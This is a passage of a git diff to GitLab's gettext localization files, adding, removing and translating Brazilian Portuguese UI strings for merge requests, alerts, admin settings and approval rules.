+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41620,9 +42310,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,39 +42325,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41835,6 +42513,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index 5ce2caf06e0..e9b8494fabd 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr " %{start} até %{end}"
@@ -70,11 +70,8 @@ msgstr "\"%{path}\" não existia em \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "\"%{repository_name}\" tamanho (%{repository_size}) é maior que o limite de %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "O parâmetro \"el\" é necessário para createInstance()"
-
msgid "#%{issueIid} (closed)"
-msgstr ""
+msgstr "#%{issueIid} (fechado)"
msgid "#general, #development"
msgstr "#geral, #desenvolvimento"
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d resultado do teste corrigido"
msgstr[1] "%d resultados do teste corrigidos"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d grupo"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d solicitação de mesclagem que você não possui acesso."
msgstr[1] "%d solicitações de mesclagem que você não tem acesso."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d métrica"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] "%d shard selecionado"
msgstr[1] "%d shards selecionados"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d tag"
@@ -407,6 +419,12 @@ msgstr[1] "%s commits adicionais foram omitidos para prevenir problemas de perfo
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} é uma faixa de IP inválida"
@@ -483,6 +501,11 @@ msgstr[1] "%{count} aprovações necessárias de %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} aprovações de %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} arquivos modificados"
@@ -705,8 +728,8 @@ msgstr "%{link_start}Saiba mais%{link_end} sobre cargos."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}Inicie o título com %{draft_snippet}%{link_end} para evitar que uma solicitação de mesclagem de código de um trabalho em andamento seja executada antes de estar pronta."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
+msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
msgstr ""
@@ -759,6 +782,9 @@ msgstr "%{name} encontrou %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} já está sendo usado para outro emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} está agendado para %{action}"
@@ -791,9 +817,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} abertos, %{closedEpics} fechados"
@@ -818,6 +841,9 @@ msgstr "%{placeholder} não é um tema válido"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} não pode ser adicionado: %{error}"
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr "%{scope} resultados para o termo '%{term}'"
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}s"
@@ -896,9 +925,6 @@ msgstr "%{spanStart}em%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} até %{end}"
-msgid "%{state} epics"
-msgstr "%{state} épicos"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr "%{total} peso da issue aberta"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} avisos encontrados: mostrando os primeiros %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (não pode mesclar)"
@@ -1043,7 +1072,7 @@ msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notif
msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} permitem que você envie notificações para aplicativos da web em resposta a eventos de um grupo ou projeto. Recomendamos usar uma %{integrations_link_start}integração%{link_end} em vez de um webhook."
msgid "%{widget} options"
-msgstr ""
+msgstr "Opções do %{widget}"
msgid "%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}v*%{code_tag_end} or %{code_tag_start}*-release%{code_tag_end} are supported."
msgstr "%{wildcards_link_start}Caracteres curinga%{wildcards_link_end} como %{code_tag_start}v*%{code_tag_end} ou %{code_tag_start}*release%{code_tag_end} são suportados."
@@ -1128,8 +1157,13 @@ msgstr "(removido)"
msgid "(revoked)"
msgstr "(revogado)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
-msgstr ""
+msgstr "(este usuário)"
msgid "(we need your current password to confirm your changes)"
msgstr "(precisamos da sua senha atual para confirmar as alterações)"
@@ -1137,6 +1171,9 @@ msgstr "(precisamos da sua senha atual para confirmar as alterações)"
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} mais"
@@ -1175,6 +1212,9 @@ msgstr "+%{more_reviewers_count} mais revisores"
msgid "+%{tags} more"
msgstr "+%{tags} mais"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", ou "
@@ -1190,7 +1230,7 @@ msgid "- Not available to run jobs."
msgstr "- Não disponível para executar tarefas."
msgid "- Select -"
-msgstr ""
+msgstr "- Selecionar -"
msgid "- User"
msgid_plural "- Users"
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Um novo \"branch\" será criado no seu \"fork\" e um novo merge request será iniciado."
-
msgid "A new impersonation token has been created."
msgstr "Um novo token de representação foi criado."
@@ -1519,9 +1556,6 @@ msgstr "Um rebase já está em andamento."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Um login na sua conta foi feito a partir do seguinte endereço IP: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr "Título é obrigatório"
@@ -1570,9 +1604,6 @@ msgstr "Escolha um método"
msgid "APIFuzzing|Choose a profile"
msgstr "Escolha um perfil"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Tokens de acesso"
msgid "Access denied for your LDAP account."
msgstr "Acesso negado para sua conta LDAP."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Acesso negado! Por favor, verifique se você pode adicionar chaves de deploy neste repositório."
-
msgid "Access denied: %{error}"
msgstr "Acesso negado: %{error}"
@@ -1841,7 +1869,7 @@ msgid "Action"
msgstr "Ação"
msgid "Action to take when receiving an alert. %{docsLink}"
-msgstr ""
+msgstr "Ação a ser tomada ao receber um alerta. %{docsLink}"
msgid "Actions"
msgstr "Ações"
@@ -1850,7 +1878,7 @@ msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
msgid "Activated on"
-msgstr ""
+msgstr "Ativado em"
msgid "Active"
msgstr "Ativo"
@@ -1910,7 +1938,7 @@ msgid "Add a GPG key"
msgstr "Adicionar chave GPG"
msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
-msgstr ""
+msgstr "Adicione uma URL Jaeger para substituir esta página com um link para seu servidor Jaeger. Você precisa primeiro %{link_start_tag}instalar Jaeger%{link_end_tag}"
msgid "Add a Terms of Service agreement and Privacy Policy for users of this GitLab instance."
msgstr "Adicione um contrato de termos de serviço e política de privacidade para usuários desta instância do GitLab."
@@ -1957,12 +1985,18 @@ msgstr "Adicionar uma lista numerada"
msgid "Add a related issue"
msgstr "Adicionar um issue relacionada"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Adicionar uma tabela"
msgid "Add a task list"
msgstr "Adicionar uma lista de tarefas"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Adicionar uma tarefa pendente"
@@ -2005,6 +2039,12 @@ msgstr "Adicione mensagens de commit como comentários às tarefas Asana. %{docs
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Adicionar novo aplicativo"
msgid "Add new directory"
msgstr "Adicionar novo diretório"
-msgid "Add new service account"
-msgstr "Adicionar nova conta de serviço"
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Adicionar usuários ao grupo"
msgid "Add variable"
msgstr "Adicionar variável"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Adicionar webhook"
@@ -2164,11 +2204,8 @@ msgstr "Tarefa pendente adicionada."
msgid "Added an issue to an epic."
msgstr "Adicionado um issue a um épico."
-msgid "Added at"
-msgstr "Adicionado em"
-
msgid "Added for this merge request"
-msgstr ""
+msgstr "Adicionado a essa solicitação de mesclagem"
msgid "Added in this version"
msgstr "Adicionado nesta versão"
@@ -2209,8 +2246,8 @@ msgstr "Adiciona %{epic_ref} como épico filho."
msgid "Adds %{labels} %{label_text}."
msgstr "Adiciona %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Adiciona uma reunião do Zoom"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Adiciona uma tarefa pendente."
@@ -2218,8 +2255,8 @@ msgstr "Adiciona uma tarefa pendente."
msgid "Adds an issue to an epic."
msgstr "Adicionado uma issue a um épico."
-msgid "Adds email participant(s)"
-msgstr "Adiciona participantes de e-mail"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr "Ajuste a frequência com que a interface do usuário do GitLab para atualizações."
@@ -2314,6 +2351,9 @@ msgstr "Usuários recentes"
msgid "AdminArea|Maintainer"
msgstr "Mantenedor"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Novo grupo"
@@ -2380,7 +2420,7 @@ msgstr "Você parará todas as tarefas. Os processos em execução serão abrupt
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Erro ao carregar as estatísticas. Por favor, tente novamente"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2564,7 +2604,7 @@ msgid "AdminUsers|Admin"
msgstr "Administrador"
msgid "AdminUsers|Administrators have access to all groups, projects and users and can manage all features in this installation."
-msgstr ""
+msgstr "Administradores tem acesso a todos os grupos, projetos e usuários e podem gerenciar todos os recursos nesta instalação."
msgid "AdminUsers|Admins"
msgstr "Administradores"
@@ -2579,10 +2619,10 @@ msgid "AdminUsers|Approved users can:"
msgstr "Usuários aprovados podem:"
msgid "AdminUsers|Auditor"
-msgstr ""
+msgstr "Auditor"
msgid "AdminUsers|Auditors have read-only access to all groups, projects, and users."
-msgstr ""
+msgstr "Auditores têm acesso somente leitura a todos os grupos, projetos e usuários."
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
@@ -2720,7 +2760,7 @@ msgid "AdminUsers|Regular"
msgstr "Regular"
msgid "AdminUsers|Regular users have access to their groups and projects."
-msgstr ""
+msgstr "Usuários regulares têm acesso a seus grupos e projetos."
msgid "AdminUsers|Reject"
msgstr "Rejeitar"
@@ -2917,19 +2957,28 @@ msgstr "Configurações avançadas"
msgid "Advanced export options"
msgstr "Opções de exportação avançadas"
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Após uma atualização de senha bem-sucedida, você será redirecionado para a tela de entrada."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Após uma atualização de senha bem sucedida, você será redirecionado para a página de entrada onde você pode entrar com sua nova senha."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -2984,7 +3033,7 @@ msgid "AlertManagement|Create incident"
msgstr "Criar incidente"
msgid "AlertManagement|Display alerts from all your monitoring tools directly within GitLab. Streamline the investigation of your alerts and the escalation of alerts to incidents."
-msgstr ""
+msgstr "Exiba alertas de todas as suas ferramentas de monitoramento diretamente no GitLab. Simplifique a investigação de seus alertas e a escalação de alertas para incidentes."
msgid "AlertManagement|Edit"
msgstr "Editar"
@@ -3107,7 +3156,7 @@ msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Shoul
msgstr ""
msgid "AlertSettings|A webhook URL and authorization key is generated for the integration. After you save the integration, both are visible under the “View credentials†tab."
-msgstr ""
+msgstr "Um URL de webhook e uma chave de autorização são gerados para a integração. Depois de salvar a integração, ambos ficam visíveis na guia “Exibir credenciaisâ€."
msgid "AlertSettings|Add new integration"
msgstr "Adicione uma nova integração"
@@ -3125,7 +3174,7 @@ msgid "AlertSettings|Current integrations"
msgstr "Integrações atuais"
msgid "AlertSettings|Customize alert payload mapping (optional)"
-msgstr ""
+msgstr "Personalizar o mapeamento de carga de alerta (opcional)"
msgid "AlertSettings|Delete integration"
msgstr "Excluir integração"
@@ -3134,13 +3183,13 @@ msgid "AlertSettings|Edit integration"
msgstr "Editar integração"
msgid "AlertSettings|Edit payload"
-msgstr ""
+msgstr "Editar carga de dados"
msgid "AlertSettings|Enable integration"
msgstr "Ativar integração"
msgid "AlertSettings|Enter an example payload from your selected monitoring tool. This supports sending alerts to a GitLab endpoint."
-msgstr ""
+msgstr "Digite uma carga de dados de exemplo a partir de sua ferramenta de monitoramento selecionada. Isso permite o envio de alertas para um endpoint do GitLab."
msgid "AlertSettings|Enter integration name"
msgstr "Insira o nome da integração"
@@ -3149,10 +3198,10 @@ msgid "AlertSettings|Free versions of GitLab are limited to one integration per
msgstr ""
msgid "AlertSettings|GitLab has created a URL and authorization key for your integration. You can use them to set up a webhook and authorize your endpoint to send alerts to GitLab."
-msgstr ""
+msgstr "O GitLab criou um URL e uma chave de autorização para sua integração. Você pode usá-los para configurar um webhook e autorizar o seu endpoint para enviar alertas para o GitLab."
msgid "AlertSettings|HTTP Endpoint"
-msgstr ""
+msgstr "HTTP Endpoint"
msgid "AlertSettings|If you edit the payload, you must re-map the fields again."
msgstr ""
@@ -3218,10 +3267,10 @@ msgid "AlertSettings|URL cannot be blank and must start with http: or https:."
msgstr "URL não pode ficar em branco e deve começar com http: ou https :."
msgid "AlertSettings|Use the URL and authorization key below to configure how Prometheus sends alerts to GitLab. Review the %{linkStart}GitLab documentation%{linkEnd} to learn how to configure your endpoint."
-msgstr ""
+msgstr "Use o URL e a chave de autorização abaixo para configurar como o Prometheus envia alertas para o GitLab. Revise a documentação %{linkStart}%{linkEnd} para aprender como configurar seu endpoint."
msgid "AlertSettings|Use the URL and authorization key below to configure how an external service sends alerts to GitLab. %{linkStart}How do I configure the endpoint?%{linkEnd}"
-msgstr ""
+msgstr "Use o URL e a chave de autorização abaixo para configurar como um serviço externo envia alertas ao GitLab. %{linkStart}Como eu configuro o terminal?%{linkEnd}"
msgid "AlertSettings|View URL and authorization key"
msgstr "Ver URL e chave de autorização"
@@ -3239,7 +3288,7 @@ msgid "AlertSettings|You can now set up alert endpoints for manually configured
msgstr ""
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
-msgstr ""
+msgstr "{ \"events\": [{ \"application\": \"Nome da aplicação\" }] }"
msgid "Alerts"
msgstr "Alertas"
@@ -3251,7 +3300,7 @@ msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
-msgstr ""
+msgstr "Se você excluir a %{integrationName} , os alertas não serão mais enviados deste terminal. Essa ação não pode ser desfeita."
msgid "AlertsIntegrations|Integration Name"
msgstr "Nome de Integração"
@@ -3272,7 +3321,7 @@ msgid "AlertsIntegrations|The integration could not be deleted. Please try again
msgstr ""
msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
-msgstr ""
+msgstr "A integração está atualmente inativa. Ative a integração para enviar o alerta de teste."
msgid "AlertsIntegrations|The integration is deleted."
msgstr "A integração foi excluída."
@@ -3335,7 +3384,7 @@ msgid "All merge request dependencies have been merged"
msgstr "Todas as dependências da solicitação de mesclagem tiveram foram mescladas"
msgid "All paths are relative to the GitLab URL. Do not include %{relative_url_link_start}relative URLs%{relative_url_link_end}."
-msgstr ""
+msgstr "Todos os caminhos são relativos ao URL do GitLab. Não inclua %{relative_url_link_start}URLs relativos%{relative_url_link_end}."
msgid "All projects"
msgstr "Todos os projetos"
@@ -3371,7 +3420,7 @@ msgid "Allow group owners to manage LDAP-related settings"
msgstr "Permitir que proprietários de grupos gerenciem configurações relacionadas ao LDAP"
msgid "Allow non-administrators access to the performance bar"
-msgstr ""
+msgstr "Permitir que não administradores acessem a barra de desempenho"
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Permitir que apenas os protocolos selecionados sejam usados para acesso ao Git."
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Um campo vazio do usuário do GitLab adicionará o nome completo do usuário do FogBugz (por exemplo, \"Por John Smith\") na descrição de todos os issues e comentários. Ele também irá associar e/ou atribuir essas issues e comentários ao criador do projeto."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Ocorreu um erro"
@@ -3550,6 +3596,9 @@ msgstr "Erro ao buscar os dados do dropdown."
msgid "An error occurred fetching the project authors."
msgstr "Ocorreu um erro ao buscar os autores do projeto."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Erro ao pré-visualizar o blob"
@@ -3611,7 +3660,7 @@ msgid "An error occurred while fetching ancestors"
msgstr "Ocorreu um erro ao obter antepassados"
msgid "An error occurred while fetching branches. Retry the search."
-msgstr ""
+msgstr "Ocorreu um erro ao obter as ramificações. Tente novamente a pesquisa."
msgid "An error occurred while fetching codequality mr diff reports."
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr "Ocorreu um erro ao carregar todos os arquivos."
msgid "An error occurred while loading chart data"
msgstr "Ocorreu um erro ao carregar os dados do gráfico"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Erro ao carregar as assinaturas de commit"
@@ -3825,8 +3877,8 @@ msgstr "Ocorreu um erro ao salvar as alterações: %{error}"
msgid "An error occurred while saving the setting"
msgid_plural "An error occurred while saving the settings"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Ocorreu um erro ao salvar a configuração"
+msgstr[1] "Ocorreu um erro ao salvar as configurações"
msgid "An error occurred while subscribing to notifications."
msgstr "Ocorreu um erro ao inscrever às notificações."
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "Uma issue já existe"
@@ -3930,6 +3985,9 @@ msgstr "Analise uma versão de revisão da sua aplicação web."
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Analise suas dependências em busca de vulnerabilidades conhecidas."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr "Analise seu código-fonte e histórico git para segredos."
@@ -3972,9 +4030,6 @@ msgstr "Qualquer marco"
msgid "Any encrypted tokens"
msgstr "Qualquer tokens criptografados"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Qualquer etiqueta"
@@ -3987,9 +4042,6 @@ msgstr "Qualquer marco"
msgid "Any namespace"
msgstr "Qualquer espaço de nome"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "App ID"
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] "Aprovar %d usuário"
msgstr[1] "Aprovar %d usuários"
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4224,7 +4282,7 @@ msgid "ApprovalRule|All severity levels"
msgstr "Todos os níveis de severidade"
msgid "ApprovalRule|All vulnerability states"
-msgstr ""
+msgstr "Todos os estados de vulnerabilidade"
msgid "ApprovalRule|Apply this approval rule to consider only the selected security scanners."
msgstr ""
@@ -4248,10 +4306,10 @@ msgid "ApprovalRule|Approvers"
msgstr "Aprovadores"
msgid "ApprovalRule|Confirmed"
-msgstr ""
+msgstr "Confirmado"
msgid "ApprovalRule|Dismissed"
-msgstr ""
+msgstr "Dispensado"
msgid "ApprovalRule|Examples: QA, Security."
msgstr ""
@@ -4260,7 +4318,7 @@ msgid "ApprovalRule|Name"
msgstr "Nome"
msgid "ApprovalRule|Newly detected"
-msgstr ""
+msgstr "Detectado recentemente"
msgid "ApprovalRule|Number of vulnerabilities allowed before approval rule is triggered."
msgstr ""
@@ -4278,10 +4336,10 @@ msgid "ApprovalRule|Please select at least one vulnerability state"
msgstr ""
msgid "ApprovalRule|Previously detected"
-msgstr ""
+msgstr "Detectado anteriormente"
msgid "ApprovalRule|Resolved"
-msgstr ""
+msgstr "Resolvido"
msgid "ApprovalRule|Rule name"
msgstr "Nome da regra"
@@ -4299,7 +4357,7 @@ msgid "ApprovalRule|Select severity levels"
msgstr "Selecione os níveis de severidade"
msgid "ApprovalRule|Select vulnerability states"
-msgstr ""
+msgstr "Selecione os estados de vulnerabilidade"
msgid "ApprovalRule|Severity levels"
msgstr "Níveis de severidade"
@@ -4311,7 +4369,7 @@ msgid "ApprovalRule|Vulnerabilities allowed"
msgstr "Vulnerabilidades permitidas"
msgid "ApprovalRule|Vulnerability states"
-msgstr ""
+msgstr "Estados de vulnerabilidade"
msgid "ApprovalSettings|Merge request approval settings have been updated."
